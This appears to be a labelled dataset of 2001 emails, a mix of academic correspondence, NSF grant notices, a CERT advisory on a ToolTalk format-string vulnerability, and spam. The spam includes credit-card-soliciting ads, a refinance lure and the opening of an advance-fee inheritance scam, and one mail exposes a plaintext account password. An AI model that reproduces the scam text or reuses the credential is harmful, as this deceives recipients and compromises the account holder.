extensive--i.e. if every paper in this field was 40 pages (or 20 double column) it would be ridiculous. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 25 Sep 2001 11:35:14 -0400",615 PAPER 10," 10) Associativity-Based Routing for Ad hoc Mobile networks. This paper presents a novel approach to routing in ""conference"" sized mobile ad hoc networks with a goal of maximizing the route lifetime. The protocol is on-demand and is claimed to be free from loops, deadlocks and packet duplicates and has scalable memory requirements. The protocol uses the associativity property to exploit the spatial and temporal relationships of the network in order to construct long-lived routes which would further require less maintenance and thus higher throughput. Each node maintains a Neighboring Table (NT) which contains information about the stability of the node's links with its neighbors in the form of Associativity 'ticks'. Each node transmits beacons at regular interval, updating the tick-count of its neighbors as well as the link quality. When a route is needed by the source, it initiates a route query by flooding the network with the BQ packets. These BQ packets accumulate the route, associativity ticks and route relaying load as they travel through the network. Eventually, a few of these BQ control packets reach the destination. The destination then decided on the best route depending on the information on route stability and congestion as gathered in the BQ packet. The best route is chosen and a REPLY sent back, while the rest of the found routes simply time-out and expire. The Route Re-Construction (RRC) phase tries to maintain routes in case a link in the route to the destination breaks. For this, depending on whether the node that has moved away lies in the Upper Arm or the Lower Arm of the Intermediate Nodes, a limited local query is initiated. The author also introduces a Dynamic Cell Size Adjustment Scheme (DCSAS) which changes the transmission power of a node if it in a congested environment. DCSAS tries to reduce the transmission range to exclude inactive neighbors but include all currently active neighbors. Comments: - This paper introduces the new and interesting concept of property of associativity between nodes in an ad hoc network. The protocol strives to select the route with the best known stability by measuring the associativity ticks of each of the intermediate nodes. However use of this property is totally dependent on the mobility pattern of the nodes in the network. It is implicitly assumed that there would always be enough ""stationary"" nodes so that a stable route to the destination can be found. In a highly mobile network with few resting nodes, the protocol may not provide any benefit at all. - In order to justify his claims about dormant nodes in the network, the author provides data about 52 badge wearers in a ""computer laboratory"". But the real scenarios where ad hoc networks may actually be deployed could be very much different (much more mobile and restless) than a laboratory where a person comes just to spend some time staring at a computer monitor. - If the destination has moved only one more hop away from its current upstream node, a lot of control traffic may be wasted as the protocol conservatively tries to obtain a shorter or equal-length route to the destination. As the RRQ backtracks, a lot of ""area"" of the network that has already been ""covered"" by the previous LQs is queried again, resulting in wastage of resources. Also the choice of half-way node to switch from a LQ to a BQ has not been explained. - The simulation results do give insights into the working of the protocol, but still a lot is missing. The paper contains only migration based results which are good for �stress-testing"" the protocol, but does not consider random, real-like cases. The number of nodes are less (30) and no results about the amount of control traffic generated are presented. - The passive acknowledgment scheme would work only in a single, broadcast channel environment. - The protocol concentrates on providing a single ""good"" path. Hence it cannot support multi-path routing. ",0,0 Daniel Jacob ,Steve Wofsy ,"Tue, 25 Sep 2001 12:36:45 -0400",INTEX text for NACP document," Hi - here's a 1-2 pager I just wrote on INTEX for the NACP document. It really is my own spin on what INTEX should be - I think (of course!) that it's much better than what's in the rather dreadful existing white paper. I'll need to clear it with the other INTEX folks, and I'll do that now, but I wanted to get it to you so that you have a placeholder (and if you're in a major hurry to finalize the NACP document, go ahead and use it). With a few pushes like this I hope to bring the proper vision into INTEX! I'll be back with a revised version after I get the feedback from the INTEX folks. Daniel ********************** INTEX-NA: Intercontinental Chemical Transport Experiment- North America INTEX-NA is a NASA Global Tropospheric Experiment (GTE) aircraft mission focused on quantifying the sources, sinks, and import/export of environmentally important chemicals on the scale of the continental United States. Chemicals of interest include ozone and its precursors, aerosols and their precursors, and long-lived greenhouse gases. INTEX-NA will use two NASA aircraft, the DC-8 (ceiling 12 km) and the P-3B (ceiling 7 km) operating along the Atlantic and Pacific seaboards as well as over the continental United States. Two deployments are planned, in summer 2004 (Phase A) and spring 2006 (Phase B). Sampling strategies will be guided by information from satellite observations and atmospheric models. Coordination will be sought with NACP and with other experimental programs focused on U.S. air quality (NOAA, DOE), and transatlantic transport (EEC). Validation of Aura satellite observations and scientific application of these observations to address mission objectives will represent an important component of the INTEX-NA activity. INTEX-NA will follow an experimental design in which bottom-up, a priori knowledge of chemical sources and sinks on the scale of the United States can be tested and improved in a top-down manner with atmospheric observations. This design requires an integrated approach where synthesis of the aircraft observations with measurements from other platforms (satellites, sondes, surface sites) and 3-D atmospheric chemistry models is pursued at all stages of mission design, execution, and interpretation. The aircraft flights will be directed at optimal sampling of the continental boundary layer (CBL), of the exchange between the CBL and the free troposphere (FT), and of the synoptic-scale flow across the coastlines and over the neighboring oceans. The aircraft will carry high-performance instrumentation for measuring a wide range of chemical species, building on the capabilities developed for previous GTE missions. These include (1) extensive in situ measurements, (2) eddy correlation flux measurements from the P-3B aircraft, (3) remote sensing (DIAL) measurements of ozone and aerosols aboard the DC-8 aircraft. The optimal sampling strategy to enable top-down analysis will be developed prior to the mission using atmospheric model simulations and prior observational knowledge. It will be implemented during mission execution through the use of 3-D model forecasts and satellite observations, and through coordination with other field programs including NACP. Phase (A) of INTEX-NA will prioritize the eastern U.S. and outflow to the North Atlantic. Phase (B) will emphasize inflow from the Pacific. However, both phases will extend their scope to the continental scale. Sampling with the DC-8 will focus on the Atlantic and Pacific seaboards to characterize continental-scale inflow/outflow, and will include transcontinental transects aimed at quantifying large-scale chemical gradients over the U.S. as well as transport involving Canada and Mexico. Bangor and Seattle are planned as the principal operational bases of the DC-8. The P-3B will focus on regional-scale mapping of surface fluxes and characterization of CBL-FT exchange over the United States. It will be based at interior sites in the U.S.; a site in Wisconsin is presently under consideration. The deployment of the P-3B will be conducted with deliberate intent to maximize opportunities for collaboration with NACP and other field programs towards addressing the INTEX-NA mission objectives. Close coordination between INTEX-NA and NACP is indeed a compelling investment to augment the scientific returns of both programs. A common objective is the characterization of carbon sources and sinks over the U.S. The NACP measurement platforms and biogeochemical modeling resources will be of considerable value for INTEX-NA. The extensive chemical tracer observations together with CO2 and methane available from the INTEX-NA aircraft will offer powerful constraints for carbon sources and sinks. The eddy correlation flux measurements and vertical sounding capabilities of the NASA P-3B aircraft will complement the smaller-scale mapping by the NACP aircraft, while the continental-scale observations from the DC-8 will allow an integrated perspective on carbon budgets. Such fruitful coordination between INTEX-NA and NACP needs to be pursued actively at the mission planning stage to lay the groundwork for successful execution. ",0,0 """Green, Terri L."" ","""'mvineyar@richmond.edu'"" ","Wed, 26 Sep 2001 11:52:56 -0400",," Dear Dr. Vineyard: I am pleased to learn that our Division of Grants and Agreements (DGA) has issued the official letter awarding University of Richmond an NSF grant to support your research entitled MRI/RUI: Development of a Computing Cluster to Support the University of Richmond Nuclear Physics Research Program at Jefferson Lab. This letter includes the approved budget, effective start date, and a reference to applicable NSF grant conditions. You may view a copy of this letter at: https://www.fastlane.nsf.gov/servlet/FastLane.AAStart. At the conclusion of this letter is a series of reminders regarding reporting requirements on your award that you may find useful. Copies of the reviews of your proposal that were solicited from experts in your field can be found on the website http://www.fastlane.nsf.gov/a2/PropInq.htm. These reviews are intended for your personal use only, and we do not make them available to other parties. I hope these reviews will be useful to you in your future endeavors. If you have any questions or discussion regarding scientific issues or the review process, please contact your Program Director Bradley Keister (703) 292-7377. My associates at the National Science Foundation join me in wishing you success in your research. Yours sincerely, Joseph L. Dehmer Division Director Division of Physics Reporting Requirements You are required to submit an Annual Progress Report via FastLane at least three months prior to your grant's anniversary date (the effective start date). On a three-year grant, annual progress reports should be submitted at the end of the first and second years, but not the third year. Note that submission and approval of the annual progress report triggers the release of incremental funding for your grant. The Final Project Report is due within 90 days after the grant expiration date and must also be submitted via FastLane. Please note that if you, as a PI or a co-PI, have an overdue Final Project Report, any additional NSF funding will be held up until the report is received and approved. In addition to these required reports you are encouraged to notify your Program Director whenever your research leads to particularly noteworthy results, or honors. These ""nuggets"" are useful to evaluate your progress, and to highlight your contributions within NSF, and in documentation to Congress. Your publications and presentations supported by NSF should acknowledge your grant support. ",0,1 Psychology Network ,play99@aleve.media.mit.edu,"Wed, 26 Sep 2001 02:13:04 -0000",Psychology of the Future,"Our system is unique - for the first time, we have combined the power of the Internet with the ease of the telephone to enable immediate access to a psychologist. How does it work? Using our revolutionary new technology, you can reach our doctors by clicking on this link: http://dev.pnonline.com/EMReturn.asp?EGUID=9B152634-B44E-4265-AF0E-ED3ED2B3398C&ELinkID=191. Simply enter your callback phone number and credit card info and you will receive an immediate callback from one of our doctors! Or, just pick up the phone and call 1-877 DR TALKS (1-877 378-2557)! Get expert advice on such problems as : parenting relationships stress sexuality more..... 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Simply enter your callback phone number and credit card info and you will receive an immediate callback from one of our doctors! Or, just pick up the phone and call 1-877 DR TALKS (1-877 378-2557)! Get expert advice on such problems as : parenting relationships stress sexuality more..... Our service is convenient - we are available 24/7/365. *Promotional Special: A cruise for two to the Caribbean will be awarded to one registered client. The winner will be contacted via email. Check our Website for details. If you would no longer like to be a part of our mailing list, please accept our apologies in advance for this email. To be removed, just click this link: http://dev.pnonline.com/unsubscribe.asp?EGUID=93E25219-4B32-4037-8236-0FE815D879E9&ELinkID=192. ",0,1 Psychology Network ,play99@aleve.media.mit.edu,"Wed, 26 Sep 2001 09:30:19 -0000",Psychology of the Future,"Our system is unique - for the first time, we have combined the power of the Internet with the ease of the telephone to enable immediate access to a psychologist. How does it work? Using our revolutionary new technology, you can reach our doctors by clicking on this link: http://dev.pnonline.com/EMReturn.asp?EGUID=F3043E26-4C29-4483-BB21-82021722DD57&ELinkID=191. Simply enter your callback phone number and credit card info and you will receive an immediate callback from one of our doctors! Or, just pick up the phone and call 1-877 DR TALKS (1-877 378-2557)! Get expert advice on such problems as : parenting relationships stress sexuality more..... Our service is convenient - we are available 24/7/365. *Promotional Special: A cruise for two to the Caribbean will be awarded to one registered client. The winner will be contacted via email. Check our Website for details. If you would no longer like to be a part of our mailing list, please accept our apologies in advance for this email. To be removed, just click this link: http://dev.pnonline.com/unsubscribe.asp?EGUID=F3043E26-4C29-4483-BB21-82021722DD57&ELinkID=192. ",0,1 Psychology Network ,play99@media.mit.edu,"Wed, 26 Sep 2001 09:34:17 -0000",Psychology of the Future,"Our system is unique - for the first time, we have combined the power of the Internet with the ease of the telephone to enable immediate access to a psychologist. How does it work? Using our revolutionary new technology, you can reach our doctors by clicking on this link: http://dev.pnonline.com/EMReturn.asp?EGUID=26335AF4-BD99-48F9-B515-CF8DE3FC51F0&ELinkID=191. Simply enter your callback phone number and credit card info and you will receive an immediate callback from one of our doctors! Or, just pick up the phone and call 1-877 DR TALKS (1-877 378-2557)! Get expert advice on such problems as : parenting relationships stress sexuality more..... Our service is convenient - we are available 24/7/365. *Promotional Special: A cruise for two to the Caribbean will be awarded to one registered client. The winner will be contacted via email. Check our Website for details. If you would no longer like to be a part of our mailing list, please accept our apologies in advance for this email. To be removed, just click this link: http://dev.pnonline.com/unsubscribe.asp?EGUID=26335AF4-BD99-48F9-B515-CF8DE3FC51F0&ELinkID=192. ",0,1 Psychology Network ,play99@media.mit.edu,"Wed, 26 Sep 2001 09:38:24 -0000",Psychology of the Future,"Our system is unique - for the first time, we have combined the power of the Internet with the ease of the telephone to enable immediate access to a psychologist. How does it work? Using our revolutionary new technology, you can reach our doctors by clicking on this link: http://dev.pnonline.com/EMReturn.asp?EGUID=46A367CF-612E-4CE3-A6E7-A0440242E522&ELinkID=191. Simply enter your callback phone number and credit card info and you will receive an immediate callback from one of our doctors! Or, just pick up the phone and call 1-877 DR TALKS (1-877 378-2557)! Get expert advice on such problems as : parenting relationships stress sexuality more..... Our service is convenient - we are available 24/7/365. *Promotional Special: A cruise for two to the Caribbean will be awarded to one registered client. The winner will be contacted via email. Check our Website for details. If you would no longer like to be a part of our mailing list, please accept our apologies in advance for this email. To be removed, just click this link: http://dev.pnonline.com/unsubscribe.asp?EGUID=46A367CF-612E-4CE3-A6E7-A0440242E522&ELinkID=192. ",0,1 Li Chen ,Ace-XQ@WPI.EDU,"Thu, 27 Sep 2001 12:26:32 -0400",my proposal is put on line," Hi, the link to it is appended at the end of page http://davis.wpi.edu/dsrg/Ace-XQ2002/index.html for Ian to check out the references of cache management issues, you can start from page chapter 6, pg 47. --lily ",0,1 Li Chen ,lizesc@WPI.EDU,"Tue, 02 Oct 2001 10:19:00 -0400",mqp web page ," Hi Liz, I think you could put the web pages under davis:/groups/dsrg/public_html/WEB_DB/XML-CACHE-02 right now some of the stuff such as those links to XML resources are put under davis:/groups/dsrg/public_html/Ace-XQ2002 ",0,0 HEATHER STRANDELL ,"AMOMinEA@aol.com, bmuesing@cce.umn.edu, kmarshal@cce.umn.edu, BMuesing@mail.crk.umn.edu, lkingery@polarcomm.com, bhamnes@ruralaccess.net, failing@ruralaccess.net, frosa001@umn.edu","Thu, 04 Oct 2001 09:22:20 -0500",RE: next steps for resiliency,"Barb, I spoke with Rick last night on this subject and with Dan Wilson earlier this week. We all are confused on what exactly is expected of us - we don't know what the next steps are to be. After the original resiliency workshop, which we all attended, we were left with the question of how this was to be implemented. I think we need another presentation of some kind to get us up to speed on what the next steps for this project are to be and what our contribution to the project is besides financial. If that would be possible, it would be greatly appreciated. Our provider cooperative has been intense on establishing a task list of items to complete within the next 6 months. We have been very detailed with evaluating all of the projects to see they fit with our mission and our communities we serve. If additional information and understanding could be given to us soon, we can implement in our planning discussions the early part of November. If you have questions, please contact me. Thank you. Heather >>> Barbara Muesing 10/04/01 08:28AM >>> Heather and Rick: Any feedback from the NRHA about interest in moving forward with this? Linda: All the times work for me. Barbara Barbara J Muesing bmuesing@cce.umn.edu Assistant to the Dean College of Continuing Education University of Minnesota 201 Coffey Hall, 1420 Eckles Ave St. Paul MN 55108 phone 612-624-0789 fax 612-624-1292 -----Original Message----- From: Linda Kingery [mailto:lkingery@polarcomm.com] Sent: Monday, October 01, 2001 8:18 PM To: Kathy Marshall; Muesing, Barbara; HEATHER STRANDELL; Liz Quam Berne; Rick Failing; Aase Hamnes; Nancy Frosaker Johnson Subject: next steps for resiliency Resiliency partners: I reported on projects of the partnership at the recent Cluster 5 advisory committee meeting - several asked for more information on the project. This is a topic that catches people's attention. I've asked a couple folks who have expressed interest for suggestions about the companion day workshops. Since we're getting closer to possible kick-off dates, I'm wondering how the decision making in the North Region Health Care Alliance and the NW Minnesota Health Care Purchasing Alliance are coming along. I'd be happy to arrange a teleconference to give us the opportunity to catch up on the decision making. Which date works the best for you folks? Thursday, Oct 4 at 2 pm Monday, Oct 8 at 9 am Friday, Oct 12 at 9 am Linda Kingery NW Regional Sustainable Development Partnership 262 Owen Hall 2900 University Ave Crookston, MN 56716-5001 Ph # 877-854-7737 email lkingery@polarcomm.com",0,0 Michael Breitenfeld ,"rfiedler@uiuc.edu, haselbac@csar.uiuc.edu, geubelle@uiuc.edu, jiao@uiuc.edu","Thu, 04 Oct 2001 10:28:50 -0500",titan simulation still running,"Pressure on the solid's surface at 30ms. If anyone wants to look at the data files they are at (on turing): /csar/brtnfld/titan Scot ",0,0 Barbara Muesing ,"AMOMinEA@aol.com, Barbara Muesing , Kathy Marshall , lkingery@polarcomm.com, failing@ruralaccess.net","Thu, 04 Oct 2001 11:03:10 -0500",RE: next steps for resiliency,"Linda copy Kathy, Liz, Rick Linda: If you have people interested in a conference call sooner, let's go with it sooner. There is some additional dynamic going on with the NRHA that on the one hand can hold us up, or on the other hand can be managed if we move ahead. My two cents is that we move ahead, with the goal of keeping all partners informed and invited, recognizing that we not have NRHA support. not sure. ON the positive side, we are expanding interest from new partners---------so let's go with the positive flow. Looking forward to the conference call. Scheduling the week of October 22 is fine too. I'm open Tuesday, Wed afternoon, Thursday and Friday. Barbara J Muesing bmuesing@cce.umn.edu Assistant to the Dean College of Continuing Education University of Minnesota 201 Coffey Hall, 1420 Eckles Ave St. Paul MN 55108 phone 612-624-0789 fax 612-624-1292 -----Original Message----- From: HEATHER STRANDELL [mailto:HSTRANDELL@altru.org] Sent: Thursday, October 04, 2001 10:48 AM To: AMOMinEA@AOL.COM; Muesing, Barbara; kmarshal@cce.umn.edu; Muesing, Barbara; lkingery@polarcomm.com; bhamnes@ruralaccess.net; failing@ruralaccess.net; frosa001@umn.edu Subject: RE: next steps for resiliency I would be available anytime the week of October 22. >>> Barbara Muesing 10/04/01 09:36AM >>> Let's try for some new options. Heather, maybe you could suggest some dates that are convenient for you. Barbara J Muesing bmuesing@cce.umn.edu Assistant to the Dean College of Continuing Education University of Minnesota 201 Coffey Hall, 1420 Eckles Ave St. Paul MN 55108 phone 612-624-0789 fax 612-624-1292 -----Original Message----- From: HEATHER STRANDELL [mailto:HSTRANDELL@altru.org] Sent: Thursday, October 04, 2001 9:51 AM To: AMOMinEA@AOL.COM; bmuesing@cce.umn.edu; kmarshal@cce.umn.edu; BMuesing@mail.crk.umn.edu; lkingery@polarcomm.com; bhamnes@ruralaccess.net; failing@ruralaccess.net; frosa001@umn.edu Subject: RE: next steps for resiliency A conference call would be fine but as I sent in my previous e-mail - neither of those three dates work for me. Heather >>> Barbara Muesing 10/04/01 09:30AM >>> <> Here is the plan that Kathy Marshall sent us early in Sept. I think it details the next steps, and reflects the planning discussion we had in Duluth. Linda has proposed dates for a conference call meeting to discuss, and we know the Regional Partnership is ready to move ahead. I apologize for confusion. The plan seems clear to me, so I need help understanding the confusion. Perhaps we could agree to the conference call, find a convenient time, and see where it takes us. Again, it would be wonderful to keep the collaboration among our organizations going. Thanks. Barbara J Muesing bmuesing@cce.umn.edu Assistant to the Dean College of Continuing Education University of Minnesota 201 Coffey Hall, 1420 Eckles Ave St. Paul MN 55108 phone 612-624-0789 fax 612-624-1292 -----Original Message----- From: HEATHER STRANDELL [mailto:HSTRANDELL@altru.org] Sent: Thursday, October 04, 2001 9:22 AM To: AMOMinEA@aol.com; bmuesing@cce.umn.edu; kmarshal@cce.umn.edu; BMuesing@mail.crk.umn.edu; lkingery@polarcomm.com; bhamnes@ruralaccess.net; failing@ruralaccess.net; frosa001@umn.edu Subject: RE: next steps for resiliency Barb, I spoke with Rick last night on this subject and with Dan Wilson earlier this week. We all are confused on what exactly is expected of us - we don't know what the next steps are to be. After the original resiliency workshop, which we all attended, we were left with the question of how this was to be implemented. I think we need another presentation of some kind to get us up to speed on what the next steps for this project are to be and what our contribution to the project is besides financial. If that would be possible, it would be greatly appreciated. Our provider cooperative has been intense on establishing a task list of items to complete within the next 6 months. We have been very detailed with evaluating all of the projects to see they fit with our mission and our communities we serve. If additional information and understanding could be given to us soon, we can implement in our planning discussions the early part of November. If you have questions, please contact me. Thank you. Heather >>> Barbara Muesing 10/04/01 08:28AM >>> Heather and Rick: Any feedback from the NRHA about interest in moving forward with this? Linda: All the times work for me. Barbara Barbara J Muesing bmuesing@cce.umn.edu Assistant to the Dean College of Continuing Education University of Minnesota 201 Coffey Hall, 1420 Eckles Ave St. Paul MN 55108 phone 612-624-0789 fax 612-624-1292 -----Original Message----- From: Linda Kingery [mailto:lkingery@polarcomm.com] Sent: Monday, October 01, 2001 8:18 PM To: Kathy Marshall; Muesing, Barbara; HEATHER STRANDELL; Liz Quam Berne; Rick Failing; Aase Hamnes; Nancy Frosaker Johnson Subject: next steps for resiliency Resiliency partners: I reported on projects of the partnership at the recent Cluster 5 advisory committee meeting - several asked for more information on the project. This is a topic that catches people's attention. I've asked a couple folks who have expressed interest for suggestions about the companion day workshops. Since we're getting closer to possible kick-off dates, I'm wondering how the decision making in the North Region Health Care Alliance and the NW Minnesota Health Care Purchasing Alliance are coming along. I'd be happy to arrange a teleconference to give us the opportunity to catch up on the decision making. Which date works the best for you folks? Thursday, Oct 4 at 2 pm Monday, Oct 8 at 9 am Friday, Oct 12 at 9 am Linda Kingery NW Regional Sustainable Development Partnership 262 Owen Hall 2900 University Ave Crookston, MN 56716-5001 Ph # 877-854-7737 email lkingery@polarcomm.com",0,0 Li Chen ,Ace-XQ@WPI.EDU,"Thu, 04 Oct 2001 14:16:14 -0400",tomcat servlet engine on dsrg machine," Hi Liz, I will pass you the passwd for my account at dsrg so that you can try out tomcat a little bit. login name: lichen password: Ace-XQ02 once you login in, 1) go to dir /usr/local/tomcat 2) type ""bin/startup.sh & "" 3) open netscape on dsrg machine, type in ""http://dsrg.wpi.edu:8080/servlet/dsrg/Ace-XQ/Ace-XQ.jsp"" you will see the demo interface done by last year's MQP group, you can then start to play with it... --lily ",0,1 Li Chen ,Ace-XQ@WPI.EDU,"Thu, 04 Oct 2001 15:40:45 -0400",Re: tomcat servlet engine on dsrg machine," sorry, > ""http://dsrg.wpi.edu:8080/servlet/dsrg/Ace-XQ/Ace-XQ.jsp"" this should be ""http://dsrg.wpi.edu:8080/dsrg/Ace-XQ/Ace-XQ.jsp"", without ""servlet"" before ""dsrg"". And there is a readme file about how to create-new-web-application using tomcat servlet engine at dsrg:/home/dsrg/HOWTO/TOMCAT take a look... ",0,1 """Quash, Natolyn"" ","""Vineyard, Michael"" , ""Gilfoyle, Gerard"" ","Thu, 04 Oct 2001 19:42:00 -0400",New NSF grant,"Mike and Jerry, Congratulation on your new grant. I have assigned index number 27495. It had been budgeted for $151,758. The grant period is from 08/15/01 through 07/31/02. I have also assigned a cost share index, 20802, in the amount of $22,182. You will receive a monthly status report updating you on your expenditures. If you have any questions, feel free to contact me. Natolyn Natolyn L. Quash Associate Controller voice: 804-289-8173 University of Richmond fax: 804-287-6080 G-12 Maryland Hall email: nquash@richmond.edu University of Richmond, VA 23173 ",0,0 CERT Advisory ,cert-advisory@cert.org,"Fri, 05 Oct 2001 14:56:06 -0400",CERT Advisory CA-2001-27," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-27 Format String Vulnerability in CDE ToolTalk Original release date: October 5, 2001 Last revised: Thu Oct 5 14:17:55 EDT 2001 Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running CDE ToolTalk Overview There is a remotely exploitable format string vulnerability in the CDE ToolTalk RPC database service. This vulnerability could be used to crash the service or execute arbitrary code, potentially allowing an intruder to gain root access. This vulnerability is documented in VU#595507. I. Description The Common Desktop Environment (CDE) is an integrated graphical user interface that runs on Unix and Linux operating systems. CDE ToolTalk is a message brokering system that provides an architecture for applications to communicate with each other across hosts and platforms. The ToolTalk RPC database server, rpc.ttdbserverd, manages communication between ToolTalk applications. For more information about CDE, see http://www.opengroup.org/cde/ http://www.opengroup.org/desktop/faq/ There is a remotely exploitable format string vulnerability in the CDE ToolTalk RPC database server. While handling an error condition, a syslog(3) function call is made without providing a format string specifier argument. Since rpc.ttdbserverd does not perform adequate input validation or provide the format string specifier argument, a crafted RPC request containing format string specifiers will be interpreted by the vulnerable syslog(3) function call. Such a request can be designed to overwrite specific locations in memory, thus executing code with the privileges of rpc.ttdbserverd, typically root. The vulnerability was discovered by Internet Security Systems (ISS) X-Force. For more information, see http://xforce.iss.net/alerts/advise98.php This vulnerability has been assigned the identifier CAN-2001-00717 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0717 Many common UNIX systems ship with CDE ToolTalk installed and enabled by default. The rpcinfo command may help determine if a system is running the ToolTalk RPC database service: $ rpcinfo -p hostname The program number for the ToolTalk RPC database service is 100083. References to this number in the output from rpcinfo or in /etc/rpc may indicate that the ToolTalk RPC database service is running. Any system that does not run the ToolTalk RPC database service is not vulnerable to this problem. II. Impact An attacker can execute arbitrary code with the privileges of the rpc.ttdbserverd process, typically root. III. Solution Apply a patch Appendix A contains information from vendors who have provided information for this advisory. We will update the appendix as we receive more information. If a vendor's name does not appear, then the CERT/CC did not hear from that vendor. Please contact your vendor directly. Block access to vulnerable service Until patches are available and can be applied, you may wish to block access to the RPC portmapper service and the ToolTalk RPC service from untrusted networks such as the internet. Using a firewall or other packet-filtering technology, block the ports used by the RPC portmapper and ToolTalk RPC services. The RPC portmapper service typically runs on ports 111/tcp and 111/udp. The ToolTalk RPC service may be configured to use port 692/tcp or another port as indicated in output from the rpcinfo command. Keep in mind that blocking ports at a network perimeter does not protect the vulnerable service from the internal network. It is important to understand your network configuration and service requirements before deciding what changes are appropriate. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Caldera, Inc. Caldera UnixWare and Open Linux are vulnerable, and a fix is forthcoming. Compaq Computer Corporation Compaq Computer Corporation ============================ Software Security Response Team Severity: low ToolTalk RPC Server Format String Vulnerability This potential security vulnerability has not been reproduced for any release of Compaq Tru64 Unix. However with the information available, we are providing a patch that will further reduce any potential vulnerability. A patch has been made available for all supported versions of Tru64/ DIGITAL UNIX V4.0f, V4.0g, V5.0a, V5.1, and V5.1a. *This solution will be included in a future distributed release of Compaq's Tru64/ DIGITAL UNIX. This patch may be obtained from the following URL address: http://www.support.compaq.com/patches/ Select BROWSE PATCH TREE and choose the version directory required. The patch names are: DUV40F17-C0056200-11703-ER-*.tar T64V40G17-C0007000-11704-ER-*.tar T64V50A17-C0015500-11705-ER-*.tar T64V5117-C0065200-11706-ER-*.tar T64V51Assb-C0000800-11707-ER-*.tar Note: Te asterisk in the filename indicates the remainder of the tarfile name may change depending on the applicable date. This patch can be installed on: V4.0f, V4.0g all patch kits V5.0a, V5.1, and V5.1a all patch kits Cray Inc. UNICOS and UNICOS/mk are not vulnerable to [this] advisory. For further inform ation see Cray SPR 721061. Cray SPRs are available to licensed Cray customers. Hewlett-Packard Company Patches are now available from HP. See HPSBUX0110-168 for details. IBM Corporation IBM AIX 5.1 and 4.3 are vulnerable. IBM has released an emergency fix (efix) w hich contains patched binaries for both AIX 5.1 and AIX 4.3 as well as an advis ory: ftp://aix.software.ibm.com/aix/efixes/security/tooltalk_efix.tar.Z IBM is working on APARs which will not be available until late October or Novem ber of 2001. AIX 4.3: Pending assignment AIX 5.1: APAR #IY23846 The Open Group The Open Group maintains source code for the Common Desktop Environment (CDE). Source licensees of The Open Group's CDE product can contact desktop@opengroup.org for advice and a source patch that address this issue. SGI SGI acknowledges the CDE vulnerabilities reported by CERT and is currently investigating. No further information is available at this time. For the protection of all our customers, SGI does not disclose, discuss or confirm vulnerabilities until a full investigation has occurred and any necessary patch(es) or release streams are available for all vulnerable and supported IRIX operating systems. Until SGI has more definitive information to provide, customers are encouraged to assume all security vulnerabilities as exploitable and take appropriate steps according to local site security policies and requirements. As further information becomes available, additional advisories will be issued via the normal SGI security information distribution methods including the wiretap mailing list. http://www.sgi.com/support/security/ Sun Sun has reproduced the vulnerability and is testing a fix. The Sun patches will be made available at the following location: http://sunsolve.sun.com/securitypatch/ Xi Graphics Xi Graphics is investigating this report and will provide more information when it is available. Appendix B. - References 1. http://www.opengroup.org/cde/ 2. http://www.opengroup.org/desktop/faq/ 3. http://xforce.iss.net/alerts/advise98.php 4. http://www.kb.cert.org/vuls/id/595507 5. http://www.cert.org/advisories/CA-1998-11.html _________________________________________________________________ _________________________________________________________________ The CERT Coordination Center thanks Internet Security Systems (ISS) X-Force, who published an advisory on this issue. We would also like to thank The Open Group for technical assistance. _________________________________________________________________ Authors: Art Manion and Shawn V. Hernan ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-27.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History October 5, 2001: initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO738iqCVPMXQI2HJAQHZFgP+Pr97BrhjEZKFE+MnpJMrGzy7fyWS9YTb Q07LB4f/q7RWx/aaj09xh15G7OSrAIS32Nw5Ksdgr1AqObGDsEvkVb4rflb7VcuM UJ+43zAAuv3uww/BR40itprqCw5aL8GomBvnUyVj/VDzGQHa26Vj8nILFo/dmASt ouGA2RLQI/s= =mdjA -----END PGP SIGNATURE----- ",0,1 John ,lucille@uclink4.berkeley.edu,"Sun, 07 Oct 2001 06:11:32 +0800",Your Re-finance application has been pre-approved,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 as low as 3.67,% $372,000.00 as low as 3.90,% $492,000.00 as low as 3.21,% $248,000.00 as low as 3.36,% $198,000.00 as low as 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... http://www.g47g.net Don't worry about approval, your credit will not disqualify you! Sincerely, John Approval Manager ",1,1 """btwDr Sam Peart."" ",robinsj@ne.orst.edu,"Sun, 07 Oct 2001 14:01:37 +0200","Best Regards, okb","IMPORTANT INFORMATION I am Dr Sam Peart, a private financial consultant in United Kingdom. I am the personal financial / business consultant to a relative of yours name withheld. He died without any will. Hence, I am contacting you. I need you to assist in securing the money And property left behind by my client before they get confiscated or declared unserviceable by the bank where his huge deposits were lodged. Particularly, the security company where the deceased had a safe deposit box valued Twenty million, 